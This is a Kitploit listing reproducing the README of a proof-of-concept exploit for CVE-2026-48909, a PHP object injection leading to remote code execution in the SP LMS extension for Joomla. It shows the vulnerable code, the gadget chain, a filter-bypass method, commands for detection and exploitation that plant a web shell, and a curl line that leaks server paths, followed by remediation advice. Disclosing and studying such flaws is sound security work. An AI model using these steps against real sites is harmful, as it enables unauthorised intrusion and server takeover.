Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-48909 — Proof-of-concept exploit for CVE-2026-48909: unauthenticated remote code execution via PHP object injection in JoomShaper SP LMS. Includes detection, exploitation, and remediation guidance. | Kitploit
工具/GitHubGitHub/is4yev/cve-2026-48909
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubis4yev/cve-2026-48909

CVE-2026-48909

Proof-of-concept exploit for CVE-2026-48909: unauthenticated remote code execution via PHP object injection in JoomShaper SP LMS. Includes detection, exploitation, and remediation guidance.

查看仓库
2321个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-48909 — SP LMS PHP对象注入 → RCE

CVE CVSS CWE 受影响版本 已修复

未认证远程代码执行 —— 通过JoomShaper SP LMS (com_splms) ≤ 4.1.3 for Joomla CMS中的PHP对象注入实现。

作者: Amin İsayev / Proxima Cyber Security


概述

SP LMS 是JoomShaper开发的一款流行的Joomla学习管理系统扩展,拥有超过10万次安装。版本≤ 4.1.3将 lmsOrders cookie 直接传递给 unserialize() 且未做任何验证,使得未认证攻击者能够注入恶意PHP对象,并通过Joomla的原生gadget链实现远程代码执行。


漏洞详情

根本原因

components/com_splms/models/cart.php 第28行:

root@kitploit:~
$cookie  = Factory::getApplication()->input->cookie;
$raw     = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded);   // ← 不可信用户输入

lmsOrders cookie 经过 base64 解码后直接传递给 unserialize()。攻击者可以完全控制反序列化的对象。

Gadget链

Joomla 的 FormattedtextLogger 类提供了 gadget:

root@kitploit:~
lmsOrders cookie (攻击者控制)
  └─► unserialize()                             [cart.php:28]
        └─► FormattedtextLogger.__destruct()    [Joomla gadget]
              └─► initFile() → File::write($path, $format)
                    └─► PHP代码写入磁盘 → RCE

注意: RCE 需要在 Joomla < 5.2.2 的环境下实现。
Joomla 5.2.2 修补了 FormattedtextLogger.__wakeup()(参见 PR #44428)。
在所有 Joomla 版本上,com_splms ≤ 4.1.3 中仍然存在 PHP 对象注入漏洞。

过滤器绕过

Joomla 的 Input\Cookie::get() 默认应用 cmd 过滤器,会去除 cookie 值中的 +、/ 和 = —— 这些字符出现在标准 base64 中。利用方法使用:

  • hex2bin() 编码以避免 PHP 禁用字符 ($, _, {, }, \n)
  • 填充对齐 确保 base64 长度能被 3 整除(无 = 填充)
  • 填充字符迭代(62 种变体)以消除 base64 输出中的 / 和 +

概念验证

检测

root@kitploit:~
python3 CVE-2026-48909.py https://target.com
root@kitploit:~
[*] 目标 : https://target.com
[*] 路径 : /index.php?option=com_splms&view=cart
[*] 探测 : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==

[存在漏洞] 探测时返回HTTP 500而正常请求返回200 —— cookie上的unserialize()被调用
[!] 请立即更新SP LMS到 >= 4.1.4。

利用

root@kitploit:~
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

PoC截图

Shell 地址:https://target.com/tmp/x.php?c=id

查找服务器路径(如果未知):

root@kitploit:~
# cPanel虚拟主机 —— 路径从Joomla错误页面泄露
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'

# 常见尝试路径:
#   /var/www/html/tmp/x.php
#   /home/USER/public_html/tmp/x.php
#   /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php

环境要求

root@kitploit:~
pip install requests

Python 3.10+


修复 / 补救措施

  1. 立即更新 SP LMS 至 ≥ 4.1.4 版本
  2. 更新 Joomla 至 ≥ 5.2.2 以移除 gadget 链
  3. 作为临时缓解措施 —— 在反序列化前验证并清理 lmsOrders cookie:
root@kitploit:~
// 不要对用户可控数据使用 unserialize()
// 请改用 json_encode/json_decode
$cartItems = json_decode(base64_decode($raw), true) ?? [];

参考

  • CVE-2026-48909 — cve.org
  • CVE-2026-48909 — NVD
  • GHSA-gf8c-xmwj-whrh — GitHub Advisory
  • Joomla PR #44428 — FormattedtextLogger gadget 修补
  • CWE-502:不可信数据的反序列化
  • OWASP:PHP对象注入

免责声明

本工具仅供教育目的和授权安全测试使用。
作者不对任何滥用或由此程序造成的损害负责。
请勿对您不拥有或未获得明确书面许可的系统使用此工具。


Amin İsayev / Proxima Cyber Security — 2026

下载工具
字段详情
CVE IDCVE-2026-48909
GHSAGHSA-gf8c-xmwj-whrh
受影响版本SP LMS (com_splms) 1.0.0 – 4.1.3
修复版本SP LMS ≥ 4.1.4
Joomla要求< 5.2.2(gadget链在5.2.2中已修补)
CVSS 4.09.5 严重 — AV:N/AC:L/AT:P/PR:N/UI:N
CWECWE-502:不可信数据的反序列化
需要认证无
披露日期2026-05-26
发布日期2026-06-20